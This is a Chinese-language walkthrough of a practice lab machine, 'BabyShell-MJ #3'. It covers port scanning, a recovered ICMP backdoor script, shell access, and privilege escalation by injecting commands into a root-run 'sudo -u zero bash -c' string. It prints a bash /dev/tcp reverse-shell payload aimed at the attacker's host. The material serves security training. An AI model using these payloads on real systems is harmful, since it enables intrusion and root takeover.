BabyShell-MJ #3
Description
1.信息收集
┌──(root㉿kali)-[/tmp/test]
└─# nmap --min-rate 10000 -p- 192.168.2.9
Starting Nmap 7.95 ( https://nmap.org ) at 2025-11-09 02:03 EST
Nmap scan report for 192.168.2.9
Host is up (0.00038s latency).
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
MAC Address: 08:00:27:FE:B7:5D (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Nmap done: 1 IP address (1 host up) scanned in 9.91 seconds
只开放了22和80端口
对80端口进行进一步探测
┌──(root㉿kali)-[/tmp/test]
└─# nmap -sV -sC -p80 192.168.2.9
Starting Nmap 7.95 ( https://nmap.org ) at 2025-11-09 02:05 EST
Nmap scan report for 192.168.2.9
Host is up (0.00023s latency).
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.62 ((Debian))
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: Apache/2.4.62 (Debian)
MAC Address: 08:00:27:FE:B7:5D (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 12.95 seconds
┌──(root㉿kali)-[/tmp/test]
└─# nmap --script=vuln -p80 192.168.2.9
Starting Nmap 7.95 ( https://nmap.org ) at 2025-11-09 02:05 EST
Nmap scan report for 192.168.2.9
Host is up (0.00028s latency).
PORT STATE SERVICE
80/tcp open http
|_http-dombased-xss: Couldn't find any DOM based XSS.
|_http-stored-xss: Couldn't find any stored XSS vulnerabilities.
|_http-csrf: Couldn't find any CSRF vulnerabilities.
| http-enum:
|_ /backup.zip: Possible backup
MAC Address: 08:00:27:FE:B7:5D (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Nmap done: 1 IP address (1 host up) scanned in 37.38 seconds
发现备份文件，有些内容被删了，不过大体可以命令执行
┌──(root㉿kali)-[/tmp/test]
└─# cat icmp.py
#!/usr/bin/env python3
import os
import sys
import socket
import struct
import time
import subprocess
import signal
import threading
from scapy.all import ICMP, IP, Raw, send, sniff, Ether
import base64
TRIGGER_SEQUENCE = b"Mazesec"
LISTEN_INTERFACE = "enp0s3"
SERVER_IP = "0.0.0.0"
class ICMPServer:
def __init__(self):
self.running = True
self.client_ips = {}
def signal_handler(self, sig, frame):
print("\n[!] Stopping server...")
self.running = False
sys.exit(0)
def execute_command_as_user(self, command, uid=1000, timeout=30):
def parse_icmp_command(self, packet_data):
try:
trigger_len = len(TRIGGER_SEQUENCE)
if len(packet_data) < trigger_len + 4:
return None
if packet_data[:trigger_len] != TRIGGER_SEQUENCE:
return None
cmd_len = struct.unpack('>I', packet_data[trigger_len:trigger_len+4])[0]
if cmd_len <= 0 or cmd_len > 4096:
return None
if len(packet_data) < trigger_len + 4 + cmd_len:
return None
command = packet_data[trigger_len+4:trigger_len+4+cmd_len].decode('utf-8', errors='ignore')
return command
except Exception as e:
print(f"[-] Parse error: {e}")
return None
def create_icmp_response(self, original_packet, result):
try:
result_bytes = result.encode('utf-8') if isinstance(result, str) else result
result_len = len(result_bytes)
trigger_len = len(TRIGGER_SEQUENCE)
payload = TRIGGER_SEQUENCE
payload += struct.pack('>I', result_len)
payload += result_bytes
response = IP(dst=original_packet[IP].src) / \
ICMP(type=0, id=original_packet[ICMP].id, seq=original_packet[ICMP].seq) / \
Raw(load=payload)
return response
except Exception as e:
print(f"[-] Response creation error: {e}")
return None
def handle_icmp_packet(self, packet):
if not self.running:
return
try:
if packet.haslayer(ICMP) and packet[ICMP].type == 8:
src_ip = packet[IP].src
if packet.haslayer(Raw):
icmp_data = bytes(packet[Raw].load)
command = self.parse_icmp_command(icmp_data)
if command:
print(f"[+] Command from {src_ip}: {command}")
# 以UID 1000执行命令
result = self.execute_command_as_user(command, 1000)
print(f"[+] Result length: {len(result)}")
# 以root权限发送ICMP响应
response = self.create_icmp_response(packet, result)
if response:
send(response, verbose=0)
print(f"[+] Response sent to {src_ip}")
self.client_ips[src_ip] = time.time()
except Exception as e:
print(f"[-] Packet handling error: {e}")
def start_server(self):
signal.signal(signal.SIGINT, self.signal_handler)
signal.signal(signal.SIGTERM, self.signal_handler)
def main():
server = ICMPServer()
server.start_server()
if __name__ == "__main__":
main()
2.zero
exp拿到反弹shell，交互很有限弹个正常shell到2332端口
┌──(root㉿kali)-[/tmp/test]
└─# python3 ez.py 192.168.2.9
[*] Testing connection to 192.168.2.9...
[→] Sending: whoami
[←] Response received (5 bytes)
[+] Backdoor active! Current user: zero
[*] Gathering system information...
[→] Sending: id
[←] Response received (48 bytes)
=== id ===
uid=1000(zero) gid=1000(zero) groups=1000(zero)
[→] Sending: uname -a
[←] Response received (87 bytes)
=== uname -a ===
Linux BabyShell 4.19.0-27-amd64 #1 SMP Debian 4.19.316-1 (2024-06-25) x86_64 GNU/Linux
[→] Sending: pwd
[←] Response received (2 bytes)
=== pwd ===
/
[→] Sending: ls -la
[←] Response received (6 bytes)
=== ls -la ===
ls -la
[→] Sending: cat /etc/passwd | head -20
[←] Response received (1016 bytes)
=== cat /etc/passwd | head -20 ===
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
systemd-timesync:x:101:102:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
[→] Sending: ip addr show
[←] Response received (817 bytes)
=== ip addr show ===
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1/8 scope host lo
valid_lft forever preferred_lft forever
inet6 ::1/128 scope host
valid_lft forever preferred_lft forever
2: enp0s3: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UP group default qlen 1000
link/ether 08:00:27:fe:b7:5d brd ff:ff:ff:ff:ff:ff
inet 192.168.2.9/24 brd 192.168.2.255 scope global dynamic enp0s3
valid_lft 80142sec preferred_lft 80142sec
inet6 240e:33d:3d:28b1:a00:27ff:fefe:b75d/64 scope global dynamic mngtmpaddr
valid_lft 256115sec preferred_lft 169715sec
inet6 fe80::a00:27ff:fefe:b75d/64 scope link
valid_lft forever preferred_lft forever
[→] Sending: ps aux | head -10
[←] Response received (795 bytes)
=== ps aux | head -10 ===
USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND
root 1 0.0 0.5 98848 10236 ? Ss 00:23 0:00 /sbin/init
root 2 0.0 0.0 0 0 ? S 00:23 0:00 [kthreadd]
root 3 0.0 0.0 0 0 ? I< 00:23 0:00 [rcu_gp]
root 4 0.0 0.0 0 0 ? I< 00:23 0:00 [rcu_par_gp]
root 6 0.0 0.0 0 0 ? I< 00:23 0:00 [kworker/0:0H-kblockd]
root 8 0.0 0.0 0 0 ? I< 00:23 0:00 [mm_percpu_wq]
root 9 0.0 0.0 0 0 ? S 00:23 0:00 [ksoftirqd/0]
root 10 0.0 0.0 0 0 ? I 00:23 0:00 [rcu_sched]
root 11 0.0 0.0 0 0 ? I 00:23 0:00 [rcu_bh]
[*] Starting interactive ICMP shell (type 'exit' to quit)
icmp-shell>
shell优化
┌──(root㉿kali)-[/tmp/test]
└─# nc -lvvp 2332
listening on [any] 2332 ...
192.168.2.5: inverse host lookup failed: Unknown host
connect to [192.168.2.5] from (UNKNOWN) [192.168.2.5] 33456
bash: cannot set terminal process group (341): Inappropriate ioctl for device
bash: no job control in this shell
zero@BabyShell:/$ python3 -c "import pty;pty.spawn('/bin/bash')"
python3 -c "import pty;pty.spawn('/bin/bash')"
zero@BabyShell:/$ export SHELL=/bin/bash
export SHELL=/bin/bash
zero@BabyShell:/$ export TERM=xterm-256color
export TERM=xterm-256color
zero@BabyShell:/$ ^Z
zsh: suspended nc -lvvp 2332
┌──(root㉿kali)-[/tmp/test]
└─# stty -a
speed 38400 baud; rows 24; columns 110; line = 0;
intr = ^C; quit = ^\; erase = ^H; kill = ^U; eof = ^D; eol = <undef>; eol2 = <undef>; swtch = <undef>;
start = ^Q; stop = ^S; susp = ^Z; rprnt = ^R; werase = ^W; lnext = ^V; discard = ^O; min = 1; time = 0;
-parenb -parodd -cmspar cs8 -hupcl -cstopb cread -clocal -crtscts
-ignbrk -brkint -ignpar -parmrk -inpck -istrip -inlcr -igncr icrnl -ixon -ixoff -iuclc -ixany -imaxbel iutf8
opost -olcuc -ocrnl onlcr -onocr -onlret -ofill -ofdel nl0 cr0 tab0 bs0 vt0 ff0
isig icanon iexten echo echoe echok -echonl -noflsh -xcase -tostop -echoprt echoctl echoke -flusho -extproc
┌──(root㉿kali)-[/tmp/test]
└─# stty raw -echo;fg
[1] + continued nc -lvvp 2332
reset
3.root
opt下发现完整icmp服务端源码，具体关注execute_command_as_user函数内容
def execute_command_as_user(self, command, uid=1000, timeout=30):
try:
# 使用sudo以指定用户执行命令
result = subprocess.check_output(
f"sudo -u zero bash -c '{command}'",
shell=True,
stderr=subprocess.STDOUT,
timeout=timeout,
text=True
)
return result
except subprocess.TimeoutExpired:
return f"Error: Command timeout"
except subprocess.CalledProcessError as e:
return f"Error: Exit code {e.returncode}\nOutput: {e.output}"
except Exception as e:
return f"Error: {str(e)}"
可以看到f"sudo -u zero bash -c '{command}'"是root执行的而且没有过滤，那就直接拼接拿shell就行
传入command ';whoami'
┌──(root㉿kali)-[/tmp/test]
└─# python3 ez.py 192.168.2.9
[*] Testing connection to 192.168.2.9...
[→] Sending: ';whoami'
[←] Response received (5 bytes)
[+] Backdoor active! Current user: root
能成功执行那就开始反弹shell
反弹报错fd的可以看这个博客
解决ubuntu crontab反弹shell失败的问题 | m3lon
payload:';bash -c 'bash -i >&/dev/tcp/192.168.2.5/2333 0>&1''
┌──(root㉿kali)-[/tmp/test]
└─# python3 exp.py 192.168.2.9
[*] Testing connection to 192.168.2.9...
[→] Sending: ';bash -c 'bash -i >&/dev/tcp/192.168.2.5/2333 0>&1''
[←] Response received (54 bytes)
[+] Backdoor active! Current user: ';bash -c 'bash -i >&/dev/tcp/192.168.2.5/2333 0>&1''
┌──(root㉿kali)-[~]
└─# nc -lvvp 2333
listening on [any] 2333 ...
192.168.2.5: inverse host lookup failed: Unknown host
connect to [192.168.2.5] from (UNKNOWN) [192.168.2.5] 42254
bash: cannot set terminal process group (341): Inappropriate ioctl for device
bash: no job control in this shell
root@BabyShell:/#
接到root shell